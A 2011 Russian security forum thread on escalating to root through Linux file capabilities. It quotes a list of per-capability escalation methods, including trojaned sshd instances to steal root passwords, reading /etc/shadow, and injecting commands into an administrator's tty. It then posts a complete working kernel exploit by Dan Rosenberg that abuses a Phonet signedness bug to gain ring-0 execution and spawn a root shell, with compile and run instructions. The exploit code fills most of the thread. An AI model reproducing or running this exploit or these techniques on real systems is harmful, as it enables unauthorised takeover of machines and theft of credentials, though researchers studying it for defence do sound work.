Старый 04.01.2011, 13:51   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Post Способы поднятия прав через CAPS.

http://forums.grsecurity.net/viewtopic.php?f=7&t=2522

Эта тема, наверняка, будет очень актуальной позже, когда все дистрибутивы начнут уходить от suid-бинарников к CAPABILITIES в ФС. Первой ласточкой должна быть Федора 14.

В списке представлены различные CAPS и по одному простому примеру, как можно поднять привилегии, имея их.
Цитата:
  • CAP_SYS_ADMIN: generic: among many other things (it's a sort of catch-all capability choice), CAP_SYS_ADMIN grants the ability to mount/unmount filesystems. So you have the ability to bind mount a new filesystem over an existing one to backdoor any binary on the system. There doesn't appear to be any DAC check for this operation, so the capability itself is sufficient. CAP_SYS_ADMIN also grants the ability to use the TIOCSTI ioctl against /dev/tty (a tty not owned by us) and inject commands into an administrator's shell that will be executed without any interaction on their part.
  • CAP_SYS_TTY_CONFIG: generic: temporarily change the keyboard mapping of an administrator's tty via the KDSETKEYCODE ioctl to cause a different command to be executed than intended (back in 2.4 this used to only be protected by suser() (essentially a uid == 0 check), except in grsecurity)
  • CAP_MKNOD: generic: allows the creation of a block device owned by the non-root user which is the same device as (for instance) the system disk (on grsecurity, the access to the block device would also require CAP_SYS_RAWIO). This allows for backdooring of any binary on the system.
  • CAP_SYS_PTRACE: generic: ptrace a process of any UID which has the capabilities you need, POKETEXT/SETREGS your way to control flow hijacking and the execution of your code under full capabilities.
  • CAP_SYS_RAWIO: generic: allows mapping of the NULL page for exploiting the huge number of NULL pointer dereferences in Linux. CAP_SYS_RAWIO also enables the use of the FIBMAP ioctl, which would potentially allow for exploitation of the kernel via the handling of input it doesn't expect from untrusted sources
  • CAP_SYS_MODULE: generic: allows to modify the kernel
  • CAP_SETFCAP: generic: can set full capabilities on a file, granting full capabilities upon exec
  • CAP_NET_BIND_SERVICE: generic: a trojaned sshd can be started on the same port as an existing sshd, except forced to the specific interface instead of on INADDR_ANY. This gives preference to the backdoor, allowing for stealing of the root password. Shutting it off after the password has been obtained will allow future connections to pass through to the real sshd with little suspicion.
  • CAP_KILL: situational: if sshd is run off a non-standard port > 1024, CAP_KILL can be used to target the existing sshd processes, then the non-root user can start a trojaned sshd in its place with the intent to grab the root password to obtain full privileges
  • CAP_FSETID: generic: can make any root-owned binary suid-root, granting full capabilities on exec
  • CAP_SETUID: generic: can set real uid to 0 and gain full capabilities on exec. Also can be used to ignore credential checks on unix domain sockets and feed crafted data over assumed-secure channels
  • CAP_DAC_OVERRIDE: generic: modify a suid root binary to execute your code with full capabilities
  • CAP_SETPCAP: generic: if the bounded set hasn't been lowered for the current process, any capability can be acquired in child processes through modification of the inheritable set. This capability allows bypass of the restriction that requires a capability to be in the permitted set for the current process to be inherited by child processes.
  • CAP_NET_ADMIN: generic: among other things, allows administration of the firewall, which can redirect packets destined for the system's normal sshd to a trojaned sshd on the same host or another host, allowing to grab the root password to obtain full privileges
  • CAP_IPC_OWNER: situational: compromise a privileged user of IPC by being able to exploit the assumption that its IPC is private
  • CAP_CHOWN: generic: /etc/shadow, /root/.ssh/* can be stolen or modified via ownership changes, allowing for full root
  • CAP_SYS_CHROOT: generic: From Julien Tinnes/Chris Evans: if you have write access to the same filesystem as a suid root binary, set up a chroot environment with a backdoored libc and then execute a hardlinked suid root binary within your chroot and gain full root privileges through your backdoor
  • CAP_DAC_READ_SEARCH: generic: /etc/shadow, /root/.ssh/* can be read, allowing for full root
  • CAP_SYS_BOOT: generic: from Eric Paris: load up a new kernel to boot with kexec_load
  • CAP_AUDIT_CONTROL: generic: from Jon Oberheide: AUDIT_TTY_GET/AUDIT_TTY_SET netlink commands to the audit subsystem allow for logging and retrival of tty i/o, allowing to obtain the root password
SynQ вне форума   Ответить с цитированием
Старый 05.01.2011, 19:50   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

PoC от Dan Rosenberg подоспел по CAP_SYS_ADMIN.

Код:
/*
 * Linux Kernel CAP_SYS_ADMIN to root exploit
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc -w caps-to-root.c -o caps-to-root
 * sudo setcap cap_sys_admin+ep caps-to-root
 * ./caps-to-root
 *
 * This exploit is NOT stable:
 *
 *  * It only works on 32-bit x86 machines
 *
 *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but
 *    it involves winning a race condition)
 *
 *  * It requires symbol support for symbols that aren't included by default in
 *    several distributions
 *
 *  * It requires the Phonet protocol, which may not be compiled on some
 *    distributions
 *
 *  * You may experience problems on multi-CPU systems
 *
 * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be
 * surprised if it doesn't work on other distributions.
 *
 * ----
 *
 * Lately there's been a lot of talk about how a large subset of Linux
 * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all
 * capability that, among other things, allows mounting filesystems and
 * injecting commands into an administrator's shell - in other words, it
 * trivially allows you to get root.  However, I found another way to get root
 * from CAP_SYS_ADMIN...the hard way.
 *
 * This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 *
 * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
 * and bla.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{
        
        commit_creds(prepare_kernel_cred(0));
        return 0;       

}

int konami(void)
{

        /* Konami code! */
        asm("inc %edx;"         /* UP */
            "inc %edx;"         /* UP */
            "dec %edx;"         /* DOWN */
            "dec %edx;"         /* DOWN */
            "shl %edx;"         /* LEFT */
            "shr %edx;"         /* RIGHT */
            "shl %edx;"         /* LEFT */
            "shr %edx;"         /* RIGHT */
            "push %ebx;"        /* B */
            "pop %ebx;"
            "push %eax;"        /* A */
            "pop %eax;"
            "mov $getroot, %ebx;"
            "call *%ebx;");     /* START */

        return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        return 0;
                oldstyle = 1;
        }

        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        return 0;
}

int main(int argc, char * argv[])
{

        int sock, proto, i, offset = -1;
        unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
        void * map;
        
        /* Create a socket to load the module for symbol support */
        printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
        sock = socket(PF_PHONET, SOCK_DGRAM, 0);

        if(sock < 0) {
                if(errno == EPERM)
                        printf("[*] You don't have CAP_SYS_ADMIN.\n");

                else
                        printf("[*] Failed to open Phonet socket.\n");
                
                return -1;
        }

        /* Resolve kernel symbols */
        printf("[*] Resolving kernel symbols...\n");

        proto_tab = get_kernel_sym("proto_tab");
        pn_ops = get_kernel_sym("phonet_dgram_ops");
        pn_ioctl = get_kernel_sym("pn_socket_ioctl");
        commit_creds = get_kernel_sym("commit_creds");
        prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

        if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
           !pn_ops || !pn_ioctl) {
                printf("[*] Failed to resolve kernel symbols.\n");
                return -1;
        }

        /* Thanks bla, for reminding me how to do basic math */
        landing = 0x20000000;
        proto = 1 << 31 | (landing - proto_tab) >> 2;

        /* Map it */
        printf("[*] Preparing fake structures...\n");

        map = mmap((void *)landing, 0x10000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
        
        if(map == MAP_FAILED) {
                printf("[*] Failed to map landing area.\n");
                return -1;
        }
        
        /* Pointer to phonet_protocol struct */
        ptr = (unsigned long *)landing;
        ptr[0] = &ptr[1];

        /* phonet_protocol struct */
        for(i = 1; i < 4; i++)
                ptr[i] = &ptr[4];

        /* proto struct */
        for(i = 4; i < 204; i++)
                ptr[i] = &ptr[204];

        /* First, do a test run to calculate any offsets */
        target = 0x30000000;

        /* module struct */
        for(i = 204; i < 404; i++)
                ptr[i] = target;
        
        /* Map it */
        map = mmap((void *)0x30000000, 0x2000000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
        
        if(map == MAP_FAILED) {
                printf("[*] Failed to map landing area.\n");
                return -1;
        }

        printf("[*] Calculating offsets...\n");

        socket(PF_PHONET, SOCK_DGRAM, proto);
        
        ptr = 0x30000000;
        for(i = 0; i < 0x800000; i++) {
                if(ptr[i] != 0) {
                        offset = i * sizeof(void *);
                        break;
                }
        }

        if(offset == -1) {
                printf("[*] Test run failed.\n");
                return -1;
        }

        /* MSB of pn_ioctl */
        target = pn_ops + 10 * sizeof(void *) - 1 - offset;
        
        /* Re-fill the module struct */
        ptr = (unsigned long *)landing;
        for(i = 204; i < 404; i++)
                ptr[i] = target;
        
        /* Push pn_ioctl fptr into userspace */
        printf("[*] Modifying function pointer...\n");

        landing = pn_ioctl;     
        while((landing & 0xff000000) != 0x10000000) {
                socket(PF_PHONET, SOCK_DGRAM, proto);
                landing += 0x01000000;
        }

        /* Map it */
        map = mmap((void *)(landing & ~0xfff), 0x10000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
        
        if(map == MAP_FAILED) {
                printf("[*] Failed to map payload area.\n");
                return -1;
        }

        /* Copy payload */
        memcpy((void *)landing, &konami, 1024);

        printf("[*] Executing Konami code at ring0...\n");
        ioctl(sock, 0, NULL);

        if(getuid()) {
                printf("[*] Exploit failed to get root.\n");
                return -1;
        }

        printf("[*] Konami code worked!  Have a root shell.\n");
        execl("/bin/sh", "/bin/sh", NULL);

}
SynQ вне форума   Ответить с цитированием
Ответ

Метки
capabilities, caps, linux, privilege escalation, root

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot